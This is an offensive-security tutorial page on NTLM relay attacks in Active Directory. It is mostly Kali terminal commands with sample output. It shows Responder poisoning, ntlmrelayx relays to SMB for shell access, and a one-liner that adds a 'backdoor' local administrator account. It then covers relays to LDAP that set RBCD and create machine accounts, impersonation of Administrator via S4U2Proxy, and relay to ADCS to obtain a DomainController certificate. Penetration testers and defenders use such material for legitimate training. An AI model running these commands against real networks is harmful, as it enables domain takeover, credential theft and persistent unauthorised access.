Skip to content
HackIndex logo

HackIndex

NTLM Relay in Active Directory

5 min read Jun 19, 2026

NTLM relay intercepts an authentication attempt from one host and forwards it to a different target service before the original connection completes. The relay acts as a man-in-the-middle — the target service sees a legitimate authentication from the coerced account and grants access accordingly. The attacker never needs the account's credentials or hash.

The most impactful relay targets in Active Directory are LDAP on the DC (to set RBCD or create accounts), SMB on workstations (for command execution), and ADCS web enrollment (to obtain certificates). Each requires specific conditions on the target. Check those conditions before setting up the relay.

Check signing requirements

SMB relay only works when SMB signing is not enforced on the target. LDAP relay requires LDAP signing and channel binding to not be required on the DC. Check both before configuring a relay.

┌──(kali㉿kali)-[~]
└─$ # Generate list of hosts without SMB signing enforced
┌──(kali㉿kali)-[~]
└─$ nxc smb 192.168.1.0/24 --gen-relay-list targets.txt
 
┌──(kali㉿kali)-[~]
└─$ # Check LDAP signing requirement on DC
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M ldap-checker 
SMB  10.10.10.20  445  WS01  signing: False
SMB  10.10.10.30  445  WS02  signing: False

LDAP  10.10.10.10  389  DC01  LDAP signing NOT enforced

Relay setup

ntlmrelayx receives the incoming NTLM authentication and forwards it to the configured target. Responder poisons name resolution to capture authentication from hosts on the segment. When running both together, disable SMB and HTTP in Responder so those ports are free for ntlmrelayx to receive connections.

┌──(kali㉿kali)-[~]
└─$ # Disable SMB and HTTP in Responder so ntlmrelayx handles those ports
┌──(kali㉿kali)-[~]
└─$ sed -i 's/SMB = On/SMB = Off/' /usr/share/responder/Responder.conf
┌──(kali㉿kali)-[~]
└─$ sed -i 's/HTTP = On/HTTP = Off/' /usr/share/responder/Responder.conf
 
┌──(kali㉿kali)-[~]
└─$ # Start Responder — poisons LLMNR and NBT-NS only
┌──(kali㉿kali)-[~]
└─$ responder -I eth0 -v

Relay to SMB — command execution

Relaying to SMB on a host without signing enforced gives an interactive shell or command execution as the relayed account. If the coerced account is a local admin on the target, the relay gives immediate code execution.

┌──(kali㉿kali)-[~]
└─$ # Relay to single SMB target — interactive shell
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t smb://$TARGET_IP -smb2support -i
 
┌──(kali㉿kali)-[~]
└─$ # Relay to multiple targets from file
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -tf targets.txt -smb2support
 
┌──(kali㉿kali)-[~]
└─$ # Execute command directly on relay success
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t smb://$TARGET_IP -smb2support -c 'net user backdoor Password123! /add && net localgroup administrators backdoor /add' 
[*] SMBD-Thread-2: Connection from CORP/jsmith
[*] Authenticating against smb://10.10.10.20 as CORP/jsmith
[+] Successfully authenticated as CORP/jsmith
[+] CORP/jsmith successfully relayed to SMB on 10.10.10.20

Relay to LDAP — RBCD and machine account creation

Relaying to LDAP on the DC lets ntlmrelayx modify AD objects as the relayed account. The two most useful actions are creating a machine account and configuring RBCD on a target computer. Both require the relayed account to have sufficient LDAP write permissions — a relayed computer account typically has enough rights to set RBCD on itself.

┌──(kali㉿kali)-[~]
└─$ # Relay to LDAP — creates attacker-controlled machine account and sets RBCD
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t ldap://$DC_IP -smb2support --delegate-access
 
┌──(kali㉿kali)-[~]
└─$ # ntlmrelayx creates a machine account and prints its credentials
┌──(kali㉿kali)-[~]
└─$ # Use those credentials to request a service ticket via S4U2Proxy
┌──(kali㉿kali)-[~]
└─$ impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $DC_IP $DOMAIN/'ATTACKERSYSTEM$':'RandomPassword' 
[*] SMBD-Thread-2: Connection from CORP/DC01$
[*] Authenticating against ldap://10.10.10.10 as CORP/DC01$
[+] Delegation rights modified successfully
[+] ATTACKERSYSTEM$ can now impersonate users on DC01$ via S4U2Proxy
[*] Machine Account: ATTACKERSYSTEM$  Password: RandomPassword
┌──(kali㉿kali)-[~]
└─$ # Relay to LDAPS — create a machine account directly
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t ldaps://$DC_IP -smb2support --add-computer 'ATTACKPC' 'AttackPassword123!' 
[+] Successfully added machine account ATTACKPC$ with password AttackPassword123!

Relay to ADCS — certificate request

Relaying to the ADCS web enrollment endpoint requests a certificate on behalf of the coerced account. This is ESC8 — see ADCS Exploitation for the full workflow including certificate-to-hash conversion.

┌──(kali㉿kali)-[~]
└─$ # Relay to CA web enrollment — request certificate for coerced account
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t http://$CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController' 
[+] Successfully requested certificate for DC01$
[*] Base64 certificate: MIIRbQIBAzCC...

After a successful relay, the follow-on action depends on the relay target. SMB relay gives immediate execution — move to Credential Harvesting on the newly accessed host. LDAP relay with RBCD gives a path to impersonating Domain Admin on the target computer — follow the S4U2Proxy chain in ACL Abuse Privilege Escalation. ADCS relay yields a certificate — convert it to an NT hash via ADCS Exploitation.

References